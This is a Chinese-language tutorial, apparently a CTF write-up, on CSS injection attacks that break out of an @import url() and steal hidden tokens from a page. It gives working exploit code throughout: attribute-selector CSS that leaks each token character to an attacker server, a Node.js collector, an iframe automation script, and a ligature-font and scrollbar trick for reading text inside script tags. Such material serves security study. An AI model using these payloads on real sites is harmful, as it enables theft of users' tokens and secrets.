可控点在@import url()路径中,但是尖括号和双引号等被转义了。
我们需要构造xss来获取下面 <script> 标签中 secret 的内容。
css本身是一种容错率很强的语言,css文件即使遇到错误,也会一直读取,直到有符合结构的语句。
我们可以利用css解析的容错性构造 %0a){}body{color:red}/* 来执行任意css。
后面就是参考这篇文章:https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/去窃取管理员的secret内容。
假设我们有一个php页面
<?php$token1 = md5($_SERVER['HTTP_USER_AGENT']);$token2 = md5($token1);?><!doctype html><meta charset=utf-8><input type=hidden value=<?=$token1 ?>><script> var TOKEN = "<?=$token2 ?>";</script><style> <?=preg_replace('#</style#i', '#', $_GET['css']) ?></style>
页面中有两个token,一个在 <input> 标签中,一个在 <script> 内。
然后我们需要利用css参数构造xss来窃取这两个token。
窃取input标签中的token
CSS选择器使我们能够准确选择HTML元素。
/*选择value值为abc的input标签*/input[value="abc"] { }/*选择value值以a开头的input标签 */input[value^="a"] { }
因此我们可以利用此来为属性的第一个字符的所有可能值准备不同的样式
input[value^="0"] { background: url(http://serwer-napastnika/0);}input[value^="1"] { background: url(http://serwer-napastnika/1);}input[value^="2"] { background: url(http://serwer-napastnika/2);}...input[value^="e"] { background: url(http://serwer-napastnika/e);}input[value^="f"] { background: url(http://serwer-napastnika/f);}
同理我们可以依次提取出所有的token值。
然后我们需要利用JAVAscript将上述过程自动化:
假设服务器后端使用nodejs实现,创建package.json 并执行npm install
{ "name": "css-attack-1", "version": "1.0.0", "description": "", "main": "index.js", "dependencies": { "express": "^4.15.5", "js-cookie": "^2.1.4" }, "devDependencies": {}, "author": "", "license": "ISC"}
const express = require('express');const App = express();app.disable('etag');const PORT = 3000;app.get('/token/:token',(req,res) => { const { token } = req.params; //var {a} = {a:1, b:2}; => var obj = {a:1, b:2};var a = obj.a; console.log(token); res.cookie('token',token); res.send('')});app.get('/cookie.js',(req,res) => { res.sendFile('js.cookie.js',{ root: './node_modules/js-cookie/src/' });});app.get('/index.html',(req,res) => { res.sendFile('index.html',{ root: '.' });});app.listen(PORT, () => { console.log(`Listening on ${PORT}...`);});
然后我们需要构造一个HTML文件来窃取token的所有下一个字符。现在我们已知:
攻击流程如下:
初步代码如下:
<!doctype html><meta charset=utf-8><script src="http://127.0.0.1:3000/cookie.js"></script><big id=token></big><br><iframe id=iframe></iframe><script> (async function() { const EXPECTED_TOKEN_LENGTH = 32; const ALPHABET = Array.from("0123456789abcdef"); const iframe = document.getElementById('iframe'); let extractedToken = ''; while (extractedToken.length < EXPECTED_TOKEN_LENGTH) { clearTokenCookie(); createIframeWithCss(); extractedToken = await getTokenFromCookie(); document.getElementById('token').textContent = extractedToken; } })();</script>
然后我们需要补充上面的的一些功能函数
首先我们清除cookie中的token值,可以直接使用JS-cookie 库中的Cookie对象。
https://github.com/js-cookie/js-cookie
function clearTokenCookie() { Cookies.remove('token');}
接下来,我们需要为 <iframe> 标签分配正确的URL:
function createIframeWithCss() { iframe.src = 'http://localhost:12345/?css=' + encodeURIComponent(generateCSS());}
还要实现生成适当CSS的功能
function generateCSS() { let css = ''; for (let char of ALPHABET) { css += `input[value^="${extractedToken}${char}"] { background: url(http://127.0.0.1:3000/token/${extractedToken}${char}) }`; } return css;}
最后我们需要实现通过等待反向连接来设置cookie-token的功能.
我们将使用JS中的 Promise 机制来构建异步函数,我们的代码每隔50毫秒检查一次cookie是否已设置,
如果已设置,该函数将立即返回该值。
function getTokenFromCookie() { return new Promise(resolve => { const interval = setInterval(function() { const token = Cookies.get('token'); if (token) { clearInterval(interval); resolve(token); } }, 50); });}
最后,实现攻击的代码如下所示:
<!doctype html><meta charset=utf-8><script src="http://127.0.0.1:3000/cookie.js"></script><big id=token></big><br><iframe id=iframe></iframe><script> (async function() { const EXPECTED_TOKEN_LENGTH = 32; const ALPHABET = Array.from("0123456789abcdef"); const iframe = document.getElementById('iframe'); let extractedToken = ''; while (extractedToken.length < EXPECTED_TOKEN_LENGTH) { clearTokenCookie(); createIframeWithCss(); extractedToken = await getTokenFromCookie(); document.getElementById('token').textContent = extractedToken; } function getTokenFromCookie() { return new Promise(resolve => { const interval = setInterval(function() { const token = Cookies.get('token'); if (token) { clearInterval(interval); resolve(token); } }, 50); }); } function clearTokenCookie() { Cookies.remove('token'); } function generateCSS() { let css = ''; for (let char of ALPHABET) { css += `input[value^="${extractedToken}${char}"] { background: url(http://127.0.0.1:3000/token/${extractedToken}${char}) }`; } return css; } function createIframeWithCss() { iframe.src = 'http://localhost:12345/secret.php?css=' + encodeURIComponent(generateCSS()); } })();</script>
将其保存在index.js同目录下,并且命名为index.html。
访问127.0.0.1:3000/index.html
CSS选择器只能帮助我们根据属性值的开头来标识元素,但是我们不能对标记本身中包含的文本执行相同的操作(CSS只是没有这种类型的选择器)。
那么我们如何在<script>标签内获取token?比如下面的代码中。
<script> var TOKEN = "06d36aed58d87fd8db3729ab84f1fe3d";</script>
我们将使用连字和样式滚动条定义我们自己的字体来完成攻击。
什么是连字:http://www.mzh.ren/ligature-intro.html
借助_fontforge等其他软件 ,我们可以创建自己的字体包括自己的连字。
_Fontforge是一个相当强大的字体创建工具。
我们将使用它将字体从SVG格式转换为WOFF。
#!/usr/bin/fontforgeOpen($1)Generate($1:r + ".woff")
fontforge script.fontforge <plik>.svg
让我们看看SVG中的字体定义如何。
下面是一个简单字体的示例,其中未为拉丁字母的所有小写字母分配任何图形符号,并且宽度均为0(属性:horiz-adv-x = “0” ),同时还定义了_securak_连字 ,它也是图形符号没有,但是为他设置了很大的宽度值。
<svg> <defs> <font id="hack" horiz-adv-x="0"> <font-face font-family="hack" units-per-em="1000" /> <missing-glyph /> <glyph unicode="a" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="b" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="c" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="d" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="e" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="f" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="g" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="h" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="i" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="j" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="k" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="l" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="m" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="n" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="o" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="p" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="q" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="r" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="s" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="t" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="u" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="v" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="w" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="x" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="y" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="z" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="sekurak" horiz-adv-x="8000" d="M1 0z"/> </font> </defs></svg>
<!doctype html><html><head><meta charset="UTF-8"><title>Untitled Document</title><style>@font-face { font-family: "hack"; src: url(data:application/x-font-woff;base64,d09GRk9UVE8AAASQAA0AAAAABrAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAADCAAAAMUAAAESIYipMEZGVE0AAAR0AAAAGQAAAByNNn8cR0RFRgAAA9AAAAAhAAAAJABOADlHUE9TAAAEQAAAACAAAAAgbJF0j0dTVUIAAAP0AAAASQAAAFrZZNxYT1MvMgAAAYQAAABEAAAAYFXjXMBjbWFwAAACpAAAAFgAAAFKYztWsWhlYWQAAAEwAAAAKgAAADYS6ZoHaGhlYQAAAVwAAAAgAAAAJAN85DxobXR4AAAEYAAAABEAAABw5OcAAG1heHAAAAF8AAAABgAAAAYAHFAAbmFtZQAAAcgAAADaAAABYiFRA6twb3N0AAAC/AAAAAwAAAAgAAMAAHicY2BkYGAAYpOXdZLx/DZfGbiZXwBFGG4+XTMRmYYCDgYmEAUAQpwKTAAAeJxjYGRgYFb4b8EQxfyCgeHBfwYGBqAICpABAHGNBJ0AAFAAABwAAHicY2Bm/MI4gYGVgYOpi2kPAwNDD4RmfMBgyMjEwMDEwMrMAAOMDEggIM01hcGBIZGhilnhvwVDFIYaBSBkBwBaygpNeJxdkDtOAzEQhr9NNuEp6NLijmpX9ioNqahyAIr0q8jaRES7kpNcghohcQwOQM21+B2GJh7Z883on4cM3PJBQT4FJdfGIy54MB7j2BqXsnfjCTd8GU+V/5GyKK+UuTxVZR5xx73xmGcejUtp3ownzPg0nir/zYaWNa+wadd6X4h0HNkpnRTG7rhrBUsGeg4nn6SIWrShxssvdP/b/EVzKoKsksbLP6nB0B+WQ+qia2rvFi6Pk5tXIVSND1KcbbLSjMRe35EnO3XJ01jFtN8OvQu1Py/5BWsjLgEAAHicY2BgYGaAYBkGRgYQcAHyGMF8FgYNIM0GpBkZmICsqv//wSoSQfT/BVD1QMDIxoDg0AowMjGzsLKxc3BycfPw8vELCAoJi4iKiUtIStHaZqIAALdlCJ94nGNgZsALAAB9AAR4nGNkYGFhYGRkZM1ITM5mYGRiYGTQ+CHD9EOW+YcESzcPczcPSzcQsMowxPLLMDAIyDBMEZRhYJdh5BZiYAap5mMQYhArjk+Nz44vjS+KT4zPBpkENg0InBicGVwYXBncGNwZPBg8GbwYvBl8GHwZ/Bj8GQIYAhmCGIIZQhhCGcIYwhkiGCIZohiiGdsZZBgZWdi5eAWExSRl5JVUNbT1DE3MrWwdnN08ffyDIn7V8PWIURPJPPgPJLtFukW7ebgA4FE4WAAAAHicY2BkYGDgAWIZIGYCQkYGKSCWBkImBhawGAmacZ8AiAAAAHicLYk7CoAwFATnwROD6QxWiifwUqmCEKxy/7h+imWYWQyY2DmwmttFwFXoneexepasxmf6/GXQtp/OyshAZGGWR81IN43bBm8AAAAAAQAAAAoAHAAeAAFsYXRuAAgABAAAAAD//wAAAAAAAHicY37BQDfw4D8DAwBs1QLLAAAAeJxjYGBgZACCm9mqP8H00zUTYTQAVA0IWgAAAA==);}span { background: lightblue; font-family: "hack";}body { white-space: nowrap;}body{ overflow-y: hidden; overflow-x: auto;}body::-webkit-scrollbar { background-color: blue;}body::-webkit-scrollbar:horizontal { background: url(http://127.0.0.1:999);}</style></head><body><span id=span>123sekurak123</span></body></html>
我们设置iframe的width=900px,连字体设置非常大,当出现连字sekurak时就会出现滚动条,从而请求攻击者的服务器。
后面就是代码实现和思路的问题了,具体可以看zsx师傅写的https://xz.aliyun.com/t/6655#toc-5
作者:smile